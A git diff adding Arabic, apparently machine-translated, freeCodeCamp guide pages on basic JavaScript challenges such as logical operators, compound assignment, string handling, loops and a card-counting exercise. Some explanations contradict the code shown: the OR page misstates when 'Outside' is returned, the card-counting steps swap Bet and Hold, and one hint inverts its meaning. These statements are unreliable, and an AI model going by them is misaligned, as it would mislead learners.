+title: Comparisons with the && (logical AND) operator
+localeTitle: مقارنات مع عامل التشغيل && (المنطقية AND)
+---
+## مقارنات مع عامل التشغيل && (المنطقية AND)
+
+### شرح المشكلة:
+
+· قم _بدمج البيانين إذا كانا في بيان واحد والذي سيعود `"Yes"` إذا كان `val` أقل من أو يساوي `50` وأكبر من أو يساوي `25` . خلاف ذلك ، سيعود `"No"` ._
+
+#### تلميح 1
+
+عامل التشغيل المنطقي AND ( `&&` ) يقارن كلا عبارات وإرجاع `true` فقط إذا كان كلاهما صحيحًا أو يمكن تحويله إلى true (صواب).
+
+> _حاول أن تحل المشكلة الآن_
+
+#### تلميح 2
+
+تذكر أن هذا التأثير لا يمكن أن يتحقق أيضا من أن تعشش `if` البيانات.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز الأساسي:
+
+ `function testLogicalAnd(val) { 
+  // Only change code below this line 
+ 
+  if (val <= 50 && val >= 25) { 
+      return "Yes"; 
+  } 
+ 
+  // Only change code above this line 
+  return "No"; 
+ } 
+ 
+ // Change this value to test 
+ testLogicalAnd(10); 
+` 
+
+[تشغيل الكود في repl.it](https://repl.it/@AdrianSkar/Basic-JS-Comparison-with-the-and-operator)
+
+### تفسير الشفرة
+
+وظيفة بتقييم أولا `if` شرط `val <= 50` تقييمها إلى `true` تحويل `val` لعدد إذا لزم الأمر، ثم يفعل نفس الشيء مع `val >=25` بسبب AND (المنطقي `&&` ) المشغل. إذا كان كلاهما العودة true ، يتم تنفيذ العبارة `return "Yes"` .
+
+### مصادر
+
+*   ["العوامل المنطقية" - _مرجع جافا سكريبت MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md
new file mode 100644
index 0000000000..018fd073e6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md
@@ -0,0 +1,18 @@
+---
+title: Comparisons with the Logical Or Operator
+localeTitle: مقارنات مع المنطقي أو المشغل
+---
+## مقارنات مع المنطقي أو المشغل
+
+### الدليل: اتبع الكود الموجود في المثال
+
+**تنبيه المفسد**
+
+أدناه هو نموذج التعليمة البرمجية (أبسط طريقة).
+
+ `if ( val < 10 || val > 20 ) { 
+    return "Outside"; 
+ } 
+` 
+
+سيعود الرمز أعلاه "خارجي" فقط إذا كان `val` يتراوح بين 10 و 20 (ضمناً).
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md
new file mode 100644
index 0000000000..a011b44c47
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md
@@ -0,0 +1,11 @@
+---
+title: Compound Assignment With Augmented Addition
+localeTitle: مهمة مركبة مع إضافة مضافة
+---
+## مهمة مركبة مع إضافة مضافة
+
+قراءة أجهزة الكمبيوتر من اليسار إلى اليمين. لذا ، فإن استخدام عامل التشغيل '+ =' يعني أنه يتم إضافة المتغير مع العدد الصحيح ، ثم يتم تعيين المتغير للمجموع. مثل ذلك:
+
+ `var a = 9; 
+ a += 10; // Now, 'a' is equal to 19 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md
new file mode 100644
index 0000000000..4e926ae3ab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md
@@ -0,0 +1,11 @@
+---
+title: Compound Assignment With Augmented Division
+localeTitle: تكليف مركب مع قسم معزز
+---
+## تكليف مركب مع قسم معزز
+
+قراءة أجهزة الكمبيوتر من اليسار إلى اليمين. لذا ، فإن استخدام معامل '/ =' يعني أن المتغير مقسوم مع الرقم الموجود على اليمين ، ثم يتم تعيين المتغير إلى الحاصل. مثل ذلك:
+
+ `var d = 10; 
+ d /= 5; // Now, 'd' is equal to 2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md
new file mode 100644
index 0000000000..0bbf7aa93a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md
@@ -0,0 +1,11 @@
+---
+title: Compound Assignment With Augmented Multiplication
+localeTitle: مهمة مركبة مع تكاثر مضاعف
+---
+## مهمة مركبة مع تكاثر مضاعف
+
+قراءة أجهزة الكمبيوتر من اليسار إلى اليمين. لذا ، فإن استخدام عامل تخصيص الضرب يعني أن المتغير قد تضاعف مع الرقم الموجود على اليمين ، ثم يتم تعيين المتغير للمنتج. مثل ذلك:
+
+ `var c = 2; 
+ c *= 3; // Now, 'c' is equal to 6 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md
new file mode 100644
index 0000000000..8512b5c4f2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md
@@ -0,0 +1,11 @@
+---
+title: Compound Assignment With Augmented Subtraction
+localeTitle: مهمة مركبة مع الطرح المعزز
+---
+## مهمة مركبة مع الطرح المعزز
+
+قراءة أجهزة الكمبيوتر من اليسار إلى اليمين. لذا ، فإن استخدام عامل التشغيل '- =' يعني أن المتغير يطرح بواسطة الرقم الموجود على اليمين ، ثم يتم تعيين المتغير إلى الفرق. مثل ذلك:
+
+ `var b = 10; 
+ b -= 4; // Now, 'b' is 6 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md
new file mode 100644
index 0000000000..466d6e8188
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md
@@ -0,0 +1,11 @@
+---
+title: Concatenating Strings with Plus Operator
+localeTitle: سلاسل متسلسلة مع Plus Operator
+---
+## سلاسل متسلسلة مع Plus Operator
+
+سلسلات وسيلة للربط معا. فكر في المشغل '+' مثل سلسلة ربط السلاسل معًا ؛ أضف السلاسل تمامًا كما تضيف أرقامًا. تأكد من صحة إملاء الكلمات! يحيط علما بالمسافات بين الكلمات.
+
+ `var str = "Good " + "job!" // It says "Good job!" 
+ var abc = "Good" + "job!" // It says "Goodjob!" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md
new file mode 100644
index 0000000000..501ad0938d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md
@@ -0,0 +1,12 @@
+---
+title: Concatenating Strings with the Plus Equals Operator
+localeTitle: سلاسل متسلسلة مع Plus Equals Operator
+---
+## سلاسل متسلسلة مع Plus Equals Operator
+
+يمكن أن يقوم المشغل '+ =' بتسلسل (الوصلة) بسهولة. تأكد من أن التهجئة صحيحة ، وأنك تركت المساحات المناسبة.
+
+ `var str = "Hello "; 
+ str += "coding"; // Now the string reads "Hello coding" 
+ str += "camper!"; // And now the string reads "Hello codingcamper!" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md
new file mode 100644
index 0000000000..175ede2e97
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md
@@ -0,0 +1,13 @@
+---
+title: Constructing Strings with Variables
+localeTitle: بناء سلاسل مع المتغيرات
+---
+## بناء سلاسل مع المتغيرات
+
+إضافة المتغيرات التي تخزن السلاسل ، لإنشاء سلاسل أطول. تأكد من صحة التهجئة والمسافات.
+
+ `var myName = "Bobby"; 
+ var myFavLetter = "B"; 
+ var sentence = "Hello, I'm " + myName + ". My favorite letter is " + myFavLetter + "."; 
+  //The result is "Hello, I'm Bobby. My favorite letter is B. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md
new file mode 100644
index 0000000000..16043781bb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md
@@ -0,0 +1,45 @@
+---
+title: Count Backwards With a For Loop
+localeTitle: عد إلى الخلف مع ل حلقة
+---
+## عد إلى الخلف مع ل حلقة
+
+هنا هو المثال:
+
+ `// Example 
+ var ourArray = []; 
+ 
+ for (var i = 10; i > 0; i -= 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+` 
+
+#### تلميح: 1
+
+*   إنشاء حلقة جديدة من أجل myArray
+
+#### تلميح: 2
+
+*   تبدأ من أول رقم فردي قبل 9
+
+# تحذير SPOILER: SOLUTION AHEAD
+
+ `var ourArray = []; 
+ 
+ for (var i = 10; i > 0; i -= 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+ for (var i = 9; i > 0; i-=2){ 
+  myArray.push(i) 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md
new file mode 100644
index 0000000000..9b64220dcd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md
@@ -0,0 +1,132 @@
+---
+title: Counting Cards
+localeTitle: عد بطاقات
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+في لعبة الكازينو **Blackjack** ، يمكن للاعب الحصول على ميزة على المنزل من خلال تتبع العدد النسبي للبطاقات العالية والمنخفضة المتبقية في سطح السفينة. وهذا ما يسمى حساب البطاقات.
+
+وجود المزيد من البطاقات العالية المتبقية في سطح السفينة تفضل اللاعب. يتم تعيين قيمة لكل بطاقة وفقًا للجدول أدناه. عندما يكون العد موجبًا ، يجب أن يراهن اللاعب عالياً. عندما يكون العدد صفرًا أو سلبيًا ، يجب على اللاعب الرهان منخفضًا.
+
+القيمة | بطاقات  
+\----- | : -------------------:  
++1 | 2 و 3 و 4 و 5 و 6  
+0 | 7 و 8 و 9  
+\-1 | 10 ، 'J' ، 'Q' ، 'K' ، 'A'
+
+ستكتب وظيفة حساب البطاقة. سوف تتلقى معلمة **بطاقة** وزيادة أو إنقاص متغير **العد** العالمي وفقا لقيمة البطاقة (انظر الجدول). ستقوم الدالة بعد ذلك بإرجاع سلسلة مع العدد الحالي وسلسلة `Bet` إذا كان العدد موجبًا ، أو `Hold` إذا كان العدد صفراً أو سالباً. يجب فصل العدد الحالي وقرار اللاعب ( `Bet` أو `Hold` ) بمسافة واحدة.
+
+*   تغيير الرمز أدناه `// Only change code below this line` وحتى `// Only change code above this line`
+*   تأكد من أنك تقوم بتحرير داخل وظيفة `cc` .
+*   استخدم ما تعلمته للتحقق من قيمة كل معلمة **بطاقة** تم تمريرها إلى الدالة.
+*   احتفظ بحساب التشغيل لهذا الرقم.
+*   إذا كان العدد النهائي 1 أو أكبر ، فأرجع **\# Hold** .
+*   إذا كان العدد النهائي 0 أو أقل ، **فأرجع # Bet** .
+
+**مثال على الناتج:**
+
+*   \-3 عقد
+*   5 الرهان
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+استخدم عبارة `switch` (أو `else if` ) لحساب قيمة كل بطاقة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+إضافة / طرح قيمة كل بطاقة إلى **عدد** المتغيرات. إذا كانت قيمة البطاقة تساوي 0 ، فلا تفعل أي شيء.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+بعد قيامك بحساب البطاقات ، استخدم العبارة `if` للتحقق من قيمة **العد** . أيضا، وتأكد من `return` لديها مساحة بين عدد والسلسلة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function cc(card) { 
+      // Only change code below this line 
+      switch(card){ 
+        case 2: 
+        case 3: 
+        case 4: 
+        case 5: 
+        case 6: 
+          count++; 
+          break; 
+        case 10: 
+        case "J": 
+        case "Q": 
+        case "K": 
+        case "A": 
+          count--; 
+          break; 
+      } 
+      if (count > 0){ 
+        return count + " Bet"; 
+      } else { 
+        return count + " Hold"; 
+      } 
+      // Only change code above this line 
+    } 
+` 
+
+### شرح الشفرة:
+
+*   تحقق من قيمة كل بطاقة من خلال بيان `switch` .
+*   **عدد** المتغيرات:
+    *   يزيد بمقدار 1 إذا كانت البطاقة 2 أو 3 أو 4 أو 5 أو 6.
+    *   نظرًا لأن 7 و 8 و 9 لا تستحق أي شيء ، فإننا نتجاهل تلك البطاقات في بيان `switch` بنا.
+    *   تنخفض بمقدار 1 إذا كانت البطاقة 10 أو "J" أو "Q" أو "K" أو "A".
+*   تحقق من قيمة **العد** وأعد الاستجابة المناسبة.
+
+**مثال تشغيل**
+
+*   `cc(2);` أشواط.
+*   تصل العبارة `switch` إلى `case 2` ، وتقفز للأسفل وتضيف 1 إلى `count` المتغيرات.
+*   ثم يقوم بيان `switch` بضرب `break` و `cc(3);` أشواط.
+*   تستمر هذه الدورة حتى يتم إجراء المكالمة النهائية ، `cc('A');` .
+*   بعد عبارة `switch` ، يتم `count` الشيك `if` كشف ، وهو الآن 0.
+*   هذا يسقط بعد ذلك إلى العبارة `else` ، والتي سوف تعود **0 عقد** .
+
+**_ملاحظة_** : كما ذكرنا سابقاً ، يمكن أن يكون بيان `switch` عبارةً أخرى `else if` عبارة.
+
+## حل رمز إضافي:
+
+ `function cc(card) { 
+  // Only change code below this line 
+  var regex = /[JQKA]/; 
+  if (card > 1 && card < 7){count++;} 
+  else if (card === 10 || String(card).match(regex)){count--;} 
+ 
+  if (count > 0) return count + " Bet"; 
+  return count + " Hold"; 
+ 
+  // Only change code above this line 
+ } 
+` 
+
+تشغيل الكود في [repl.it.](https://repl.it/@AdrianSkar/Basic-JS-Counting-cards)
+
+### تفسير الشفرة
+
+· وظيفة بتقييم أولا `if` شرط `card` هي قيمة أكبر من `1` وأقل من `7` ، وفي هذه الحالة فإنه بزيادة `count` تلو الآخر. · ثم إذا كانت البطاقة `10` أو أعلى هو التناقصات `count` من جانب واحد. · `regex` عبارة عن [تعبير عادي](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) يمثل القيم (الحروف) للبطاقات الأعلى. · يقوم البيان `else` بالتحقق من تلك القيم باستخدام `|| (logical OR)` مشغل `|| (logical OR)` ؛ أولاً لـ `10` ومن ثم لأي سلسلة تطابق التعبير العادي باستخدام [String.match ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match) .
+
+#### مصادر
+
+*   [بطاقة العد في ويكيبيديا](https://en.wikipedia.org/wiki/Card_counting)
+*   [التحدي: الاختيار من العديد من الخيارات مع تبديل البيانات](http://www.freecodecamp.com/challenges/selecting-from-many-options-with-switch-statements)
+*   [التحدي: تسلسل إذا كانت البيانات الأخرى](http://www.freecodecamp.com/challenges/chaining-if-else-statements)
+*   [التحدي: زيادة رقم باستخدام جافا سكريبت](http://www.freecodecamp.com/challenges/increment-a-number-with-javascript)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..5e05c568d8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Create Decimal Numbers with JavaScript
+localeTitle: قم بإنشاء أرقام عشرية باستخدام جافا سكريبت
+---
+# قم بإنشاء أرقام عشرية باستخدام جافا سكريبت
+
+يمكن أن تحتوي متغيرات رقم جافا سكريبت على أرقام عشرية.
+
+ `var myDecimal = 2.8; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md
new file mode 100644
index 0000000000..9db53e617a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md
@@ -0,0 +1,24 @@
+---
+title: Declare JavaScript Variables
+localeTitle: تحديد متغيرات جافا سكريبت
+---
+# تحديد متغيرات جافا سكريبت
+
+عندما نقوم بتخزين البيانات في بنية البيانات ، فإننا نسميها متغيرًا. مكتوبة متغيرات جافا سكريبت في حالة الجمل. مثال على حالة الإبل هو: `camelCase` .
+
+يمكنك أن تعلن عن متغير بهذه الطريقة
+
+ `    var myName = "Rafael"; 
+` 
+
+قدم ES6 طريقتين أخريين لإعلان المتغيرات. **دعونا** و **const** . _دعنا_ متشابهين إلى حد كبير مع var وفي الغالب يكون قابلاً للتبادل:
+
+ `    let myAge = 36; 
+` 
+
+حيث _ترك_ يختلف، في نطاقه. عندما نعلن استخدام _var_ ، فهو عالمي النطاق. عندما نعلن استخدام _السماح_ ، فإن النطاق يقتصر على هذه الوظيفة. إذا كنت ترغب في استخدام متغير _السماح_ خارج إحدى الوظائف ، فيجب أن تجعله نطاقًا عالميًا أو يعيد تعريفه في الوظيفة التالية.
+
+**const** ، من ناحية أخرى ، لا يمكن إلا أن تعلن مرة واحدة. لا يمكن أن تتغير قيمته.
+
+ `    const myName = "Christina"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md
new file mode 100644
index 0000000000..0818d78e35
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md
@@ -0,0 +1,15 @@
+---
+title: Declare String Variables
+localeTitle: تعبير سلسلة المتغيرات
+---
+## تعبير سلسلة المتغيرات
+
+في JavaScript ، تكون المتغيرات **ديناميكية** . وهذا يعني أنه يمكنهم الاحتفاظ بالأرقام أو السلاسل أو أي نوع بيانات آخر في وقت معين. لإعلان سلسلة ، ما **عليك** سوى **تهيئة** (إنشاء) متغير:
+
+ `var a; 
+` 
+
+ثم ، باستخدام علامات اقتباس مفردة أو مزدوجة ، قم بتعريف السلسلة:
+
+ `a = "Hello Camper!"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..31fb5ac75e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md
@@ -0,0 +1,12 @@
+---
+title: Decrement a Number with JavaScript
+localeTitle: إنقاص رقم مع JavaScript
+---
+## إنقاص رقم مع JavaScript
+
+قم بتقليص رقم باستخدام عامل التشغيل "-":
+
+ `var a = 5; 
+ a--; // Now, 'a' is 4 
+ --a; // Now, 'a' is 3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md
new file mode 100644
index 0000000000..053fc0f613
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md
@@ -0,0 +1,34 @@
+---
+title: Delete Properties from a JavaScript Object
+localeTitle: حذف الخصائص من كائن JavaScript
+---
+## حذف الخصائص من كائن JavaScript
+
+### تلميح: 1
+
+*   تغيير خصائص myDog باستخدام تدوين النقطة
+
+# تحذير SPOILER: SOLUTION AHEAD
+
+ `var ourDog = { 
+  "name": "Camper", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["everything!"], 
+  "bark": "bow-wow" 
+ }; 
+ 
+ delete ourDog.bark; 
+ 
+ // Setup 
+ var myDog = { 
+  "name": "Happy Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"], 
+  "bark": "woof" 
+ }; 
+ 
+ // Only change code below this line. 
+ delete myDog.tails; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..3b49cdbe26
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Divide One Decimal by Another with JavaScript
+localeTitle: قسّم رقم عشري واحد إلى آخر باستخدام جافا سكريبت
+---
+# قسّم رقم عشري واحد إلى آخر باستخدام جافا سكريبت
+
+تستخدم جافا سكريبت الرمز `/` للقسمة.
+
+ `var quotient = 0.6 / 0.3; //quotient gets the value 2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..c07befbe75
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Divide One Number by Another with JavaScript
+localeTitle: قسمة رقم واحد على آخر باستخدام JavaScript
+---
+# قسمة رقم واحد على آخر باستخدام JavaScript
+
+تستخدم جافا سكريبت الرمز `/` للقسمة.
+
+ `var quotient = 6 / 3; //quotient will get value 2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md
new file mode 100644
index 0000000000..6588a92c51
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Escape Sequences in Strings
+localeTitle: الهروب من التسلسل في السلاسل
+---
+## الهروب من التسلسل في السلاسل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md
new file mode 100644
index 0000000000..1541391a14
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md
@@ -0,0 +1,17 @@
+---
+title: Escaping Literal Quotes in Strings
+localeTitle: الهروب من الأسعار الحرفيه في الاوتار
+---
+## الهروب من الأسعار الحرفيه في الاوتار
+
+*   عندما تحتاج إلى استخدام حرف خاص مثل `"` داخل سلسلة ، يجب عليك الفرار منه باستخدام `\` .
+*   إذا كنت تستخدم علامات الاقتباس المزدوجة `"` للسلسلة، ونقلت واحدة `'` لا تحتاج إلى أن هرب في السلسلة.
+*   إذا كنت تستخدم علامات الاقتباس المفردة `'` للسلسلة ، فلا تحتاج إلى اقتباس علامات الاقتباس المزدوجة `"` في السلسلة.
+
+## حل
+
+ `var myStr = "I am a \"double quoted\" string inside \"double quotes\"."; 
+ var otherStr = 'I am a \'single quoted\' string inside \'single quotes\'.'; 
+ var noEscapeSingle = "There is no need to 'escape' the single quotes."; 
+ var noEscapeDouble = 'There is no need to "escape" the double quotes.'; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md
new file mode 100644
index 0000000000..c2b84b11da
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md
@@ -0,0 +1,13 @@
+---
+title: Find the Length of a String
+localeTitle: العثور على طول سلسلة
+---
+## العثور على طول سلسلة
+
+السلاسل لها **سمة** (سمة) تسمى "length". كل ما عليك فعله هو وضع علامة عليه بعد السلسلة / المتغير.
+
+ `var str1 = "Hello"; 
+ var length1 = str1.length; // This returns 5 
+ 
+ var length2 = " Camper".length; // This returns 7 because the space is counted as one character. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md
new file mode 100644
index 0000000000..7e82b0100f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Finding a Remainder in JavaScript
+localeTitle: العثور على البقية في جافا سكريبت
+---
+# العثور على البقية في جافا سكريبت
+
+يعطي عامل الباقي `%` الباقي من قسم رقمين.
+
+ `var remainder = 11 % 3; //remainder gets the value 2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md
new file mode 100644
index 0000000000..ddd1c60464
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md
@@ -0,0 +1,37 @@
+---
+title: Generate Random Fractions with JavaScript
+localeTitle: توليد الكسور العشوائية مع جافا سكريبت
+---
+# توليد الكسور العشوائية مع جافا سكريبت
+
+الأرقام العشوائية مفيدة لإنشاء سلوك عشوائي.
+
